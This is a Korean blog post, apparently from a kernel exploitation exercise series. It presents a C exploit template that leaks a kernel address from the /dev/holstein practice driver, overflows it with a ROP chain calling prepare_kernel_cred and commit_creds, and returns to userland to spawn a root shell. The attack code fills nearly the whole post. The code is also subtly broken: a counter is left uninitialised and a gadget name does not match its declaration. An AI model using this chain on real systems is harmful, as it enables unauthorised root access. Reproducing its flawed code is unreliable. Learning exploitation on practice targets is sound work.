Kernel Exploit/Exercise

kernel exploit payload - krop

wyv3rn 2025. 5. 30. 16:00
728x90
반응형

서론

커널 영역에서 실행권한이 없는 경우에 rop을 통해 exploit이 가능하다.

이를 위한 기본 페이로드이다.

특이사항으로 gadget을 찾을 때 ropgadget을 이용하는 경우 intel 문법으로 나온다는 것이다.

 

즉,

mov rax, rdi

가 아닌

mov rdi, rax

gadget을 찾아야한다.

 

Payload

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int kbuf_size = 0x400;
int global_fd;

void open_dev()
{
        global_fd = open("/dev/holstein", O_RDWR);
        if (global_fd < 0)
        {
                puts("[!] Failed to open device");
                exit(-1);
        }
        else
        {
                puts("[*] Opened device");
        }
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(void)
{
        __asm__ __volatile__(
                        "mov %cs, user_cs;"
                        "mov %ss, user_ss;"
                        "mov %rsp, user_sp;"
                        "pushf;"
                        "pop user_rflags;"
                        );
        puts("[*] Saved state");
}

void print_leak(unsigned long *leak, unsigned n)
{
        for (unsigned i = 0; i < n; ++i)
        {
                printf("%u: %lx\n", i, leak[i]);
        }
}

unsigned long leak;

void leak_addr(void)
{
        unsigned long arry[kbuf_size/8 + 100];
        memset(arry,0,sizeof(arry));
        read(global_fd, arry, sizeof(arry));
        leak = arry[kbuf_size/8+1];
        //print_leak(leak, 200);
        printf("[*] Leak: %lx\n", leak);
}

void get_shell(void)
{
        puts("[*] Returned to userland");
        if (getuid() == 0)
        {
                printf("[*] UID: %d, got root!\n", getuid());
                char *argv[] = { "/bin/sh", NULL };
                char *envp[] = { NULL };
                execve("/bin/sh", argv, envp);
        }
        else
        {
                printf("[!] UID: %d, didn't get root\n", getuid());
                exit(-1);
        }
}

unsigned long user_rip = (unsigned long)get_shell;


unsigned long swapgs = 0xffffffff8160bf7e;
unsigned long iretq = 0xffffffff810202af;
unsigned long rdiret = 0xffffffff8127bbdc;
unsigned long rcxret = 0xffffffff812ea083;
unsigned long rdiraxret = 0xffffffff8160c96b;
unsigned long prepare_kernel_cred = 0xffffffff8106e240;
unsigned long commit_cred = 0xffffffff8106e390;

void exploit()
{
        unsigned long payload[kbuf_size/8+20];
        int offset;
        for(int i =0; i < 128; i++)
        {
                payload[offset++] = 0xdeadbeefdeadbeef;
        }
        payload[offset++] = rdiret;
        payload[offset++] = 0;
        payload[offset++] = prepare_kernel_cred;
        payload[offset++] = rcxret;
        payload[offset++] = 0;
        payload[offset++] = raxrdiret;
        payload[offset++] = commit_cred;
        payload[offset++] = swapgs;
        payload[offset++] = iretq;
        payload[offset++] = (unsigned long)get_shell;
        payload[offset++] = user_cs;
        payload[offset++] = user_rflags;
        payload[offset++] = user_sp;
        payload[offset++] = user_ss;

        write(global_fd, payload, sizeof(payload));

        puts("[!] Error while exploit");
}

int main()
{
        save_state();
        open_dev();
        leak_addr();
        exploit();

        puts("[!] Error after exploit");

        return 0;
}
728x90
반응형